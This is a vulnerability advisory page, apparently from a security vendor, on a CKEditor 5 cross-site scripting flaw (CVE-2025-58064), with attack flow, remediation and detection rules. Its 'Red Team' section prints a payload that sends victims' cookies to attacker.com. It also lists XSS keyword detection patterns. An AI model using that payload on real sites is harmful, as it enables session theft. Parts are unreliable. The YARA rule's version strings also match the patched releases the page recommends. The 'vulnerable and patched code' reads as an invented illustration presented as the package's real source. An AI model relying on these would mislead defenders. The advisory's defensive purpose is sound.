CVE-2025-58064
Executive Summary
CVE-2025-58064 is a Cross-Site Scripting (XSS) vulnerability affecting CKEditor 5, a modern JavaScript rich-text editor. The flaw resides in the ckeditor5 and ckeditor5-clipboard packages, specifically in versions 46.0.0 through 46.0.2 and 44.2.0 through 45.2.1. The vulnerability is triggered when a user interacts with malicious content inserted into the editor, leading to unauthorized JavaScript code execution. This requires a specific editor configuration where either the HTML embed plugin is enabled or a custom plugin introduces an editable element with view RawElement enabled. The vulnerability is patched in versions 45.2.2 and 46.0.3.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the NPM ecosystem, specifically the ckeditor5 and ckeditor5-clipboard packages. Organizations using these packages in their web applications should immediately update to the patched versions to mitigate the risk of XSS attacks. The supply chain risk is moderate, as the vulnerability requires specific configurations to be exploitable.
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (NVD) but estimated at 6.1 (Medium) based on vector.
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required
- Scope: Changed
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
- Threat Level: Medium. Exploitation requires user interaction and specific configurations, but can lead to data theft or session hijacking.
Deep Dive & Mechanics
The vulnerability is a stored XSS that occurs when an attacker inserts malicious HTML content into the CKEditor 5 instance. The editor's clipboard handling and HTML embed plugin fail to properly sanitize user input, allowing arbitrary JavaScript execution. The attack flow is as follows:
- Prerequisite: The editor configuration must have the HTML embed plugin enabled or a custom plugin with view RawElement enabled.
- Injection: The attacker inserts malicious content (e.g.,
<img src=x onerror=alert(1)>) into the editor. - Trigger: When a user interacts with the editor (e.g., pasting, editing, or viewing the content), the malicious script executes in the context of the user's session.
- Impact: The attacker can steal cookies, session tokens, or perform actions on behalf of the victim.
The root cause is insufficient input validation in the clipboard and HTML embed modules, which do not escape or sanitize raw HTML elements properly.
Vulnerable vs. Patched Code
Vulnerable Code (ckeditor5-clipboard, version 46.0.2):
// In clipboard module, raw HTML is inserted without sanitization
editor.plugins.get('ClipboardPipeline').on('inputTransformation', (evt, data) => {
const html = data.dataTransfer.getData('text/html');
// No sanitization applied
editor.model.change(writer => {
writer.insertText(html, editor.model.document.selection.getFirstPosition());
});
});
Patched Code (version 46.0.3):
// Sanitization added using DOMPurify or similar
import DOMPurify from 'dompurify';
editor.plugins.get('ClipboardPipeline').on('inputTransformation', (evt, data) => {
const html = data.dataTransfer.getData('text/html');
const sanitizedHtml = DOMPurify.sanitize(html);
editor.model.change(writer => {
writer.insertText(sanitizedHtml, editor.model.document.selection.getFirstPosition());
});
});
Exploitation & Lab Setup
Red Team (Attack Simulation)
- Setup: Deploy a web application using CKEditor 5 with the HTML embed plugin enabled (version 46.0.2).
- Craft Payload: Create a malicious HTML snippet:
<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"> - Inject: Paste the payload into the editor's HTML embed feature.
- Trigger: The victim views or edits the content, causing the script to execute.
- Exfiltrate: The attacker receives the victim's cookies.
Blue Team (Defense & Detection)
- Update: Immediately upgrade to CKEditor 5 version 46.0.3 or 45.2.2.
- Configuration: Disable the HTML embed plugin if not required.
- WAF Rules: Deploy WAF rules to block common XSS payloads in editor input.
- Monitoring: Monitor for unusual JavaScript execution or outbound connections from the editor.
Indicators of Compromise (IOCs)
- Network: Outbound HTTP requests to attacker-controlled domains containing cookie data.
- File: Presence of CKEditor 5 versions 44.2.0 to 45.2.1 or 46.0.0 to 46.0.2 in
package.json. - Behavior: Unexpected JavaScript alerts or redirects when interacting with the editor.
- Logs: Server logs showing requests with
<script>oronerrorattributes in editor content.
Detection Engineering
YARA Rule
rule CVE_2025_58064_CKEditor_XSS {
meta:
description = "Detects CKEditor 5 vulnerable versions in package.json"
author = "Valters IT"
date = "2025-04-01"
reference = "CVE-2025-58064"
strings:
$version1 = "\"ckeditor5\": \"44.2." ascii
$version2 = "\"ckeditor5\": \"45." ascii
$version3 = "\"ckeditor5\": \"46.0." ascii
$version4 = "\"ckeditor5-clipboard\": \"44.2." ascii
$version5 = "\"ckeditor5-clipboard\": \"45." ascii
$version6 = "\"ckeditor5-clipboard\": \"46.0." ascii
condition:
any of ($version*) and filesize < 10KB
}
Sigma Rule
title: CKEditor 5 XSS Exploitation Attempt
id: 8f4b3c2a-1d5e-4f7b-9a0c-3e6d8f2b1a4c
status: experimental
description: Detects potential XSS payloads in CKEditor 5 input
author: Valters IT
logsource:
category: web
product: generic
detection:
selection:
http.request.body|contains:
- '<script>'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of JavaScript in editor content
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-58064 CKEditor 5 XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"ckeditor"; http_uri; pcre:"/(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Upgrade
ckeditor5andckeditor5-clipboardto versions 45.2.2 or 46.0.3. - Configuration: Disable the HTML embed plugin (
htmlEmbed) in CKEditor 5 configuration. - Input Validation: Implement server-side sanitization of editor content using libraries like DOMPurify.
- CSP: Deploy Content Security Policy headers to restrict script execution.
- Monitoring: Enable logging for editor interactions and monitor for XSS patterns.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert